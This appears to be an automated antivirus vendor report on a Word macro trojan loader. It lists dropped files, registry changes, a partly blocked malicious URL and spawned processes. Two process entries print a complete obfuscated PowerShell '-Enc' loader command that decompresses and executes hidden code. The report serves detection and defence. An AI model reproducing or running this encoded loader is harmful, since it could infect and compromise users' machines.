Trojan.W97M.POWLOAD.SMAB

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following copies of itself into the affected system:

• {malware path and file name}

It adds the following processes:

• "%System%\WScript.exe" "%Windows%\Temp\GddagvhZjmsnhgjhHaCmQLM.js"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcARABjAHIAQgBDAG8ASgBBAEUAQQBEAFEAWAAvAEUAZwBqAEYATABOAFkAcABjAGkAawBRADUAYQBFAEkAZwBuAHcAWQBzAEgAWABSAHQAUwBTAFcAZgBkAEoAagBiAC8AUABrAC8AdgA4AG4AeABIAE8AcwBFAEEAWgB0AGcAQgB1AFEATgB2ADYASgBFADYAZwBkAEEAcgBxAEMAawBiAHIARQBnADMAYQBUADUAUQBVAGMAYQBlAHYAMgBYAE0AdQBKAHAAegBiAHIAUAA3AEkANwA4AEYAMABJAHUAWQBpADEASwBMAFoAVQAxAFcAKwBMAHUAdQAyAFAARwBrAEYAcgBHAHQARQBsAGsAcwBtAHQANQBjADMAOABuAEwANgBmAGEATQBZADMAUwBFAHYAUQBmAHAAcABhADYARwArAGMAbgB1AFUANQBjADAAbQBmAG8AVQBJAGYAMABJAHcAdgBnAFAAJwApACAALABbAHMAWQBzAFQAZQBtAC4AaQBvAC4AYwBPAE0AcABSAGUAUwBzAGkATwBOAC4AQwBvAG0AcAByAGUAcwBzAEkATwBOAE0ATwBEAEUAXQA6ADoARABFAEMAbwBtAHAAcgBlAFMAUwAgACkAfAAmACgAJwBmACcAKwAnAG8AcgBlACcAKwAnAGEAYwBIACcAKQB7ACAAJgAoACcATgBFAFcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAGkAYABvAC4AYABTAGAAVAByAGUAYQBtAFIARQBBAEQARQBSACgAJABfACwAWwBzAHkAUwBUAGUAbQAuAFQARQB4AFQALgBFAE4AYwBvAGQASQBuAEcAXQA6ADoAYQBzAEMAaQBpACkAIAB9AHwALgAoACcARgBvAHIARQBhACcAKwAnAEMAJwArACcASAAnACkAewAkAF8ALgByAGUAQQBkAFQAbwBFAE4ARAAoACkAIAB9ACAAKQAgAHwALgAoACcASQBlAHgAJwApAA==
• powershell -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcARABjAHIAQgBDAG8ASgBBAEUAQQBEAFEAWAAvAEUAZwBqAEYATABOAFkAcABjAGkAawBRADUAYQBFAEkAZwBuAHcAWQBzAEgAWABSAHQAUwBTAFcAZgBkAEoAagBiAC8AUABrAC8AdgA4AG4AeABIAE8AcwBFAEEAWgB0AGcAQgB1AFEATgB2ADYASgBFADYAZwBkAEEAcgBxAEMAawBiAHIARQBnADMAYQBUADUAUQBVAGMAYQBlAHYAMgBYAE0AdQBKAHAAegBiAHIAUAA3AEkANwA4AEYAMABJAHUAWQBpADEASwBMAFoAVQAxAFcAKwBMAHUAdQAyAFAARwBrAEYAcgBHAHQARQBsAGsAcwBtAHQANQBjADMAOABuAEwANgBmAGEATQBZADMAUwBFAHYAUQBmAHAAcABhADYARwArAGMAbgB1AFUANQBjADAAbQBmAG8AVQBJAGYAMABJAHcAdgBnAFAAJwApACAALABbAHMAWQBzAFQAZQBtAC4AaQBvAC4AYwBPAE0AcABSAGUAUwBzAGkATwBOAC4AQwBvAG0AcAByAGUAcwBzAEkATwBOAE0ATwBEAEUAXQA6ADoARABFAEMAbwBtAHAAcgBlAFMAUwAgACkAfAAmACgAJwBmACcAKwAnAG8AcgBlACcAKwAnAGEAYwBIACcAKQB7ACAAJgAoACcATgBFAFcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAGkAYABvAC4AYABTAGAAVAByAGUAYQBtAFIARQBBAEQARQBSACgAJABfACwAWwBzAHkAUwBUAGUAbQAuAFQARQB4AFQALgBFAE4AYwBvAGQASQBuAEcAXQA6ADoAYQBzAEMAaQBpACkAIAB9AHwALgAoACcARgBvAHIARQBhACcAKwAnAEMAJwArACcASAAnACkAewAkAF8ALgByAGUAQQBkAFQAbwBFAE4ARAAoACkAIAB9ACAAKQAgAHwALgAoACcASQBlAHgAJwApAA==
• %Windows%\Temp\71.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It creates the following folders:

• %User Profile%\Application Data\Microsoft\Forms

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Trojan modifies the following file(s):

• %Application Data%\Microsoft\Office\Word12.pip

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
FileExts\.js\OpenWithProgids\
JSFile

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
FileExts\.js\OpenWithList

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

Dropping Routine

This Trojan drops the following files:

• %Application Data%\Microsoft\UProof\CUSTOM.DIC
• %Application Data%\Microsoft\Office\Word12.pip
• %User Profile%\Application Data\Microsoft\Forms\WINWORD.box
• %Windows%\Temp\71.exe
• %Application Data%\Microsoft\Office\VB12.pip

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

• http://{BLOCKED}touyy.com

This report is generated via an automated analysis system.